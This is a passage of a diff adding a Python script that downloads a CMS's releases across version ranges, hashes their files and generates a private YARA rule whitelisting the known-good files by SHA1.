+Opts.MIN_MAJOR, Opts.MAX_MAJOR = extract_version_arg(3) +Opts.MIN_MINOR, Opts.MAX_MINOR = extract_version_arg(4) +Opts.MIN_PATCH, Opts.MAX_PATCH = extract_version_arg(5) + +# loop over possible versions +for vmajor in range(Opts.MIN_MAJOR, Opts.MAX_MAJOR + 1): + # download without vminor and vpatch (but ignore if it doesn't exist) + version = "%d" % vmajor + rules = generate_whitelist(version) + if (rules is not None) and rules: + whitelists[version] = rules + + has_mversion = False + first_mloop = True + for vminor in range(Opts.MIN_MINOR, Opts.MAX_MINOR + 1): + # download without vpatch (but ignore if it doesn't exist) + version = "%d.%d" % (vmajor, vminor) + rules = generate_whitelist(version) + if rules is not None: + has_mversion = True + if rules: + whitelists[version] = rules + #if (rules is None) and (has_mversion or not first_mloop): + # break + first_mloop = False + + has_pversion = False + first_ploop = True + for vpatch in range(Opts.MIN_PATCH, Opts.MAX_PATCH + 1): + version = "%d.%d.%d" % (vmajor, vminor, vpatch) + rules = generate_whitelist(version) + if rules is not None: + has_pversion = True + if rules: + whitelists[version] = rules + # break loop if download failed and: + # - a version has already been found during this loop + # - this is the 2nd iteration (if a version wasn't found, + # it means download failed twice) + if (rules is None) and (has_pversion or not first_ploop): + break + first_ploop = False + +# remove duplicate entries: +eprint("[+] Deduplicating detections... ", end='') +known_files = [] +for version, rules in copy(whitelists.items()): + used_rules = 0 + for filename, digest in rules.items(): + rtuple = (filename, digest) + if rtuple in known_files: + del whitelists[version][filename] + else: + known_files.append(rtuple) + used_rules += 1 + if used_rules == 0: + del whitelists[version] +eprint("\x1b[1;32mDONE\x1b[0m") + +eprint("[+] Generating final whitelist... ", end='') +# build final rule +prefix = 8 * ' ' +conditions = [] +len_wl = len(whitelists.keys()) - 1 +for index, (version, rules) in enumerate(whitelists.items()): + cond_str = '%s/* %s %s */\n' % (prefix, Opts.CMS_NAME.title(), version) + len_rules = len(rules.keys()) - 1 + for inner_index, (filename, digest) in enumerate(rules.items()): + if (index == len_wl) and (inner_index == len_rules): # last loop iteration + cond_str += '%shash.sha1(0, filesize) == "%s" // %s\n' % (prefix, digest, filename) + else: + cond_str += '%shash.sha1(0, filesize) == "%s" or // %s\n' % (prefix, digest, filename) + conditions.append(cond_str) +eprint("\x1b[1;32mDONE\x1b[0m") + +final_rule = """ +import "hash" + +private rule %(name)s +{ + meta: + generated = "%(gendate)s" + + condition: +%(conditions)s +} +""" % { + 'name': Opts.CMS_NAME.title(), + 'gendate': datetime.now().isoformat(), + 'conditions': '\n'.join(conditions) +} +print(final_rule) -- cgit v1.3